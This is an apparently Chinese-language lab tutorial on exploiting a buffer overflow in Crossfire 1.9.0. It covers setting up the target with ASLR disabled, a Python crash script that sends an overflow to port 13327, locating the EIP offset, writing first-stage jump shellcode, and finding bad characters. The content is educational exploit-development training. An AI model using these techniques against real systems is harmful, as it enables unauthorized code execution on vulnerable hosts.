crossfire&linux缓冲区溢出案例(三)

参考资料:kali linux之edb–CrossFire缓冲区溢出

Crossfire 1.9.0在接受socket连接的时候,有着bof漏洞。

搭建靶机

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
mkdir /usr/games    
#必须在该目录下运行crossfire,否则程序会报错
#Cannot open bmaps file /usr/games/crossfire/share/crossfire/bmaps: No such file or directory

cd /usr/games;wget www.offensive-security.com/crossfire.tar.gz;tar zxpf crossfire.tar.gz

cd crossfire/bin

gdb /usr/games/crossfire/bin/crossfire
run

---
当程序提示溢出错误的时候,可以运行run,输入y,重新调试程序

当需要重新运行的时候,可以结束进程重新运行。
pgrep crossfire | xargs kill -s 9
---
关闭ASLR
echo 0 > /proc/sys/kernel/randomize_va_space

Waiting for connections...

面板最后出现了这样的语句,代表程序正常运行。

(exp.py demo)让程序报错

开始调试bof漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python
import socket
host = "目标IP"
crash="\x41" * 4379

buffer = "\x11(setup sound " + crash + "\x90\x00#"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[*]Sending evil buffer..."

s.connect((host, 13327))
data=s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent !"


程序报错,段错误,返回地址被0x41填充

定位缓冲区大小

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 4379

修改python脚本,crash=”pattern_create生成的字符串”

运行后得到一个地址,0x46367046

1
2
3
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 4379 -q 46367046

[*] Exact match at offset 4368

缓冲区长度为4379,EIP地址为为4368后的4字节。

测试是否找到EIP地址

修改python脚本crash="\x41" * 4368 + "B"*4 + "C"*7

确保报错的是0x42424242,表示EIP地址被字符B所覆盖。确认找到了EIP指令寄存器的位置。

找出shellcode占用的空间

edb

运行linux平台,图形化界面的调试器。图形化界面方便同时观察所有寄存器的状态。

点击图中的run按钮,运行crossfire程序,然后运行exp.py让程序报错。

在崩溃的时候,我们再次检查任何可能帮助我们找到buffer的寄存器。

选中EAX寄存器,右键 follow in dump,即可跳转到EAX所指地址。

在这个案例中,EAX寄存器看起来指向buffer的起始位置,包含了字符串“setup sound ”

但是EAX寄存器没有直接跳转到缓冲区(缓冲区的起始地址以A字符串开头),这可能会影响执行exp,导致失败。

在这种情况下,跳转到EAX可能实际上对我们有用。 但是,这不是一个很好的解决方案。 咱们试试更难的方案。

提高exp可用性

看起来ESP寄存器指向了缓冲区的C地址,在崩溃的时候,没有给我们足够的空间放置shellcode。不像之前的slmail bof案例, 在程序崩溃之后,只写入了“cccccccc”这么几个字符。这暗示着我们,只能把shellcode放置在大小为4368的缓冲区之中。

然而,在崩溃时,我们可以使用ESP寄存器指向的字节,来创建第一个阶段的shellcode。它可以使得ESP寄存器与缓冲区的A字符起始位置对齐,跳过字符串“setup sound”

为了达到这个目的,我们第一阶段的shellcode将会需要添加12比特给EAX寄存器,然后跳转到EAX。让我们看看这个shellcode demo是怎样的。

1
2
3
4
5
nasm_shell 汇编指令转十六进制

/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
add eax,12
jmp eax

然后写成16进制即可。幸运的是,这两个指令只用了5字节的内存——\x83\xc0\x0c\xff\xe0

发现坏字符

上一篇类似,发送exp.py

注意crash中exp的写法,crash= badchars + "\x41" * 4368

第一段是坏字符,目的是检查是否有badchar截断后续的字符。
第二段目的是覆盖返回地址,使得程序报错,方便调试。

点击图中的EBP寄存器,extended base pointer,它总是指向栈底。右键follow in dump,来跳转到EBP指向的地址。

发现有规律的字符01 02 03 04 05 06 07 08,失去了09,说明它是坏字符。

删除exp.py中 \x09,重复以上操作。发现坏字符\x0a

删除exp.py中 \x0a,重复以上操作。发现坏字符\x20

\x00\x09\x0a\x20 是坏字符

badchar坏字符跟操作系统、程序有关,不同的系统运行坏字符可能并不相同。